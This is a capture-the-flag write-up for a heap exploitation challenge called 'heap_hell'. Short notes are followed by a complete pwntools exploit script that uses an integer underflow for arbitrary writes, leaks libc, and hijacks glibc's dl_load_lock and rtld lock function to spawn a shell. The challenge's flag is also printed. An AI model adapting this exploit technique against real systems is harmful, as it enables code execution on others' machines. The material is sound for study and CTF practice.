* There's an integer underflow when checking the write address, allowing arbitrary writes if you mmap at `0x10000` and have a size >= `0x20001`.* leak libc via unsorted bin* overwrite `GL(dl_rtld_lock_recursive)` with system* overwrite `dl_load_lock` with "/bin/sh"* dl-fini will call `__rtld_lock_lock_recursive (GL(dl_load_lock));`* calculate remote ld_offet looping with +/- 0x1000
--vakzz
Exploit: 
```python#!/usr/bin/env python2# pylint: skip-file
from pwn import *
def location(loc):  p.sendlineafter(" (default 0x123456789000)?", str(loc))
def write(offset, data, size=None):  p.sendlineafter("[4] : exit", "1")  if size:    p.sendlineafter(" write?", str(size))  else:    p.sendlineafter(" write?", str(len(data)))  p.sendlineafter(" offset?", str(offset))  p.send(data)
def free(offset):  p.sendlineafter("[4] : exit", "2")  p.sendlineafter(" free?", str(offset))
def leak(offset):  p.sendlineafter("[4] : exit", "3")  p.sendlineafter(" leak?\n", str(offset))  return u64(p.recvuntil("\nPlease", drop=True).ljust(8, "\x00"))
def exploit():  """  if we mmap at 0x10000 then we write to anywhere so long as size >= 0x20001  """  location(0x10000)
  size = 0x500  for i in range(3):    write(size*i, p64(size) + p64(size | 1))
  free(0x10)  libc_leak = leak(0x11) << 8
  libc.address =  libc_leak - (libc.symbols["__malloc_hook"] + 112)  ld.address = libc.address + ld_offset log.info("libc: 0x{:x}".format(libc.address))
  """  overwrite GL(dl_rtld_lock_recursive) with system  overwrite dl_load_lock with "/bin/sh"  dl-fini will call __rtld_lock_lock_recursive (GL(dl_load_lock));  """
  target = libc.address + ld_offset - 0x10000
  payload = "/bin/sh\x00"  payload = payload.ljust(0x600, "\x41")  payload += p64(libc.symbols["system"])  write(target + 0x908, payload + "\x00" * 0x2000, 0x20001)
  p.interactive()
  # flag{c0ngr4tz_I_h0pe_you_did_n0t_find_this_in_h0w_2_h34p}
if __name__ == "__main__":  name = "./heap_hell"  binary = ELF(name, checksec=False)
  libc_name = "./libc.so.6"  libc = ELF(libc_name, checksec=False)
  ld_name = "./ld-2.28.so"  ld = ELF(ld_name, checksec=False)
  context.terminal=["tmux", "sp", "-h"]  context.arch = "amd64"
  if len(sys.argv) > 1:    ld_offset = 0x1f7000    p = remote("arcade.fluxfingers.net", 1810)  else:    ld_offset = 0x1f5000    p = process([ld_name, name], env={'LD_LIBRARY_PATH': "."})
    gdb.attach(p, """    c    """)
  exploit()```